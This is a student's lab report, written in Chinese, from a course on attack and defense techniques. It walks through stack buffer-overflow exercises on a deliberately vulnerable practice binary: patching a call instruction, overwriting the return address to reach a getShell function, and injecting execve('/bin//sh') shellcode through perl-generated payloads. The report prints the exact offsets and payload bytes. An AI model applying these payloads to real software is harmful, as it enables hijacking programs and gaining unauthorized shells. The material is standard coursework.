20222401 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

_兰草一枚發表於2024-10-09

1.實驗內容

本次實驗是關於緩衝區溢位攻擊的,主要的學習內容如下:

1.基本Linux命令

objdump:將程式碼段反彙編,在這次實驗中主要是用來找地址的。

xxd:實現十六進位制與二進位制的轉換,在這次實驗的過程中,主要是有兩個地方用到了這個命令。一是在開啟檔案後進行轉換,而是以十六進位制開啟檔案,保證字串構造正確。

還有一些gdb除錯過程中用到的命令。

2.記憶體地址結構

對於程式在計算機中的儲存有了一個基本的瞭解,主要是對諸如eip,esp等暫存器的功能有了一個大概的瞭解。

3.學習基本的BOF注入攻擊原理

這次實驗總共進行了兩次BOF注入攻擊,透過修改機器指令,或者注入shellcode,從而實現對原程式執行邏輯的改變。

2.實驗過程

2.1手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式

2.1.1傳入檔案

首先,把這次實驗的需要用到的檔案在自己的電腦上下載好,然後直接傳入kali虛擬機器,改成符合要求的檔名。
image

2.1.2執行反彙編

在這一步,需要啟動root許可權的終端,進行反彙編,指令如下

┌──(root㉿yinzixin)-[~]
└─# cd /home/kali/桌面
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# objdump -d pwn20222401 | more

下面展示一下反彙編的結果(只展示一會要操作的部分)

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave
 8048490:       c3                      ret

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave
 80484ae:       c3                      ret

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave
 80484c0:       c3                      ret
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

2.1.3分析、修改以實現跳轉

我們重點關注main函式的這一行

80484b5:       e8 d7 ff ff ff          call   8048491 <foo>

這裡是main函式跳轉執行地址8048491的foo函式,我們現在想讓main函式在這裡執行getshell函式,只需要將這裡的執行地址改成getshell的首地址,就可以跳轉執行到getshell。

經過查詢,call的機器碼是e8,那後面的d7 ff ff ff應該就是地址,這個是機器補碼,正確的順序應該是FF FF FF D7,十進位制數值是-41,對應16進位制應該是負的0x29,用80484ba(這裡是下一跳地址,我猜測是因為地址暫存器已經發生變化,不能使用本次的地址)減去29正好就是8048491,對應著foo函式的地址.

所以想要讓這一步能夠執行getshell函式,就需要調整好這個數值,使得跳轉地址變成getshell函式的地址,即804847d,計算之後是FF FF FF C3,反過來就是c3 ff ff ff,則修改之後的指令應該是e8 c3 ff ff ff。

接下來進行修改。這裡我們使用複製的副本(主要是後面還要用這個檔案,直接改掉了後面會比較麻煩)pwn20222401_getShell,複製命令如下

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_getShell

image
然後使用文字編輯功能開啟檔案,修改相應位置即可。

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# vi pwn20222401

image
使用下面的命令進行轉換(要是看得懂可以不轉換)

:%!xxd(這個就是前面提到的十六進位制轉換)

image

然後查詢我們要修改的地址f0e8 d7ff,這裡需要注意,查詢時“/e8d7”的查詢是失效的,只能查詢前半部分或者後半部分。
image
f0e8查詢成功
image
d7ff查詢成功
image
e8d7查詢失敗
接下來,我們按照上面的分析進行修改(需要按“i”進入編輯模式),注意,修改之後需要輸入:%!xxd -r進行格式轉換,否則寫入不成功。

2.1.4執行測試

image
原先的程式,會輸出你輸入的字串
image
修改之後的程式,已經變成shell的樣子了。
說明修改成功了,達到了我們預設的效果。

2.2利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式

2.2.1字串長度確定

核心原理:透過輸入一個合適的字串,使得字串末尾正好覆蓋地址指標暫存器,從而實現跳轉。
這裡測試一下111112222233333444445555566666777778888899999
注意,需要在gdb除錯環境下檢視
image
我們注意到eip那一行是0x38373737,翻譯一下就是8 7 7 7,也就是說現在這個字串有點長了~
根據這個資訊,可以調整一下,變成111112222233333444445555566666771234,再試一下
image
這次我們看到,正正好好就是0x34333231,對應的是4 3 2 1,說明現在這個字串的後四位不偏不倚地覆蓋了eip,那麼後續我們只需要將這裡換成相應的跳轉地址就可以了。

根據上文,getshell的首地址是804847d,那麼我們應該輸入11111111222222223333333344444444\x7d\x84\x04\x08
但是16進位制是不能透過鍵盤輸入的,所以需要構造一個檔案,命令如下

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

檢視一下檔案的內容,保證沒問題
image

2.2.2執行測試

接下來只需要將這個檔案“強行輸入”進原先的程式,就能觸發,命令如下

(cat input; cat) | ./pwn20222401_BOF

image
這裡看到也是成功觸發了getshell,證明我們的操作達到了預期效果。

2.3注入一個自己製作的shellcode並執行這段shellcode

2.3.1前置條件

shellcode注入需要一些條件,這裡一一列出

execstack -s	//pwn1設定堆疊可執行
execstack -q	//pwn1查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space	//檢視地址隨機化狀態

最後一條尤為重要,這是保證地址不發生變化的關鍵。

建立本次操作用的副本,並調整為可執行許可權

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_shellcode
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# chmod 777 pwn20222401_shellcode

image

接下來構造payload,格式為anything+retaddr+nops+shellcode,先做一個試試看
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
image
然後再起一個終端,執行下面的注入命令(cat input_shellcode;cat) | ./pwn20222401_shellcode
接下來,切換回原來那個終端,查詢剛才的程序號
ps -ef | grep pwn20222401_shellcode
image
我們得到了剛才執行的PID是84214,下面在gdb模式下進入程序。
設定斷點disassemble foo break *0x080484ae
image
接下來,切換到另一個程序,按一下回車,然後再回來(讓程式跑一步)
輸入ci r(檢視暫存器狀態)
輸入x/16x 0xffffd39c檢視esp暫存器
image
我們的目標就是把程式碼放到0x01020304後面的位置上,所以,地址直接+4即可,就是0xffffd3a0,接下來生成新的input_shellcode檔案

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

image

2.3.2測試執行

┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# (cat input_shellcode;cat) | ./pwn20222401

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����������1�Ph//shh/bin��PS��1Ұ
															   �
ls
input_shellcode  pwn20222401
exit

image
這樣我們看到,注入就成功了。

3.問題及解決方案

  • 問題1:execstack查詢不到路徑

  • 問題1解決方案:從http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下載好相應的檔案,然後拖回虛擬機器,輸入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb直接解壓即可。

  • 問題2:gdb查詢不到路徑

  • 問題2解決方案:輸入wget http://ftp.gnu.org/gnu/gdb/gdb-8.0.1.tar.gz下載,使用tar -zxvf /home/kali/Desktop/gdb-8.0.1.tar.gz解壓。

  • 問題3:kali桌面系統卡死(只有預設桌布)

  • 問題3解決方案:依次輸入下列命令

      apt-get clean
      apt-get remove xfce4 xfce4-places-plugin
      apt-get install x-window-system-core
      apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin
      reboot
    
  • 問題4:終端名稱無法修改

  • 問題4解決方案:輸入hostnamectl set-hostname <新主機名>

  • 問題5:檔案執行許可權不足

  • 問題5解決方案:輸入chmod 777 <檔名>

4.學習感悟、思考等

這一次的實驗對我來說難度不算小,倒不是因為實驗本身有多難,而是自己相關方面的知識欠缺較多。在理解BOF注入的過程中花費了很多時間在地址跳轉理解上,同時,kali系統本身並不是很完善,執行過程中有時會出現很多問題,都需要一點點去排查(裝gdb和execstack大概消耗了半天時間,很麻煩,基本上很多方法都試過了)。
在這次實驗的過程中,讓我印象最深刻的就是BOF注入的過程。首先是要確定攻擊的目標是什麼(esp),然後精心選擇合適的字串(太長也不行,會覆蓋掉其他內容,導致程式崩潰),然後選擇注入,最後才能實現。這次算是很直觀的體會到了緩衝區溢位的危險,本次使用的是“人畜無害”的shellcode,要是執行了其他惡意程式碼,對作業系統的危害是不可估量的。
最後,這次實驗還有很多內容我是一知半解的,還需要在接下來的時間裡面慢慢學習。

參考資料

  • 《逆向及Bof基礎實踐說明》
  • 《[虛擬機器]KaLi安裝gdb》
  • 《Linux zsh:許可權不夠》
  • 《彙編中call指令和其對應的機器碼》
  • 《Linux xxd命令詳解》
  • 《objdump(Linux)反彙編命令使用指南》

相關文章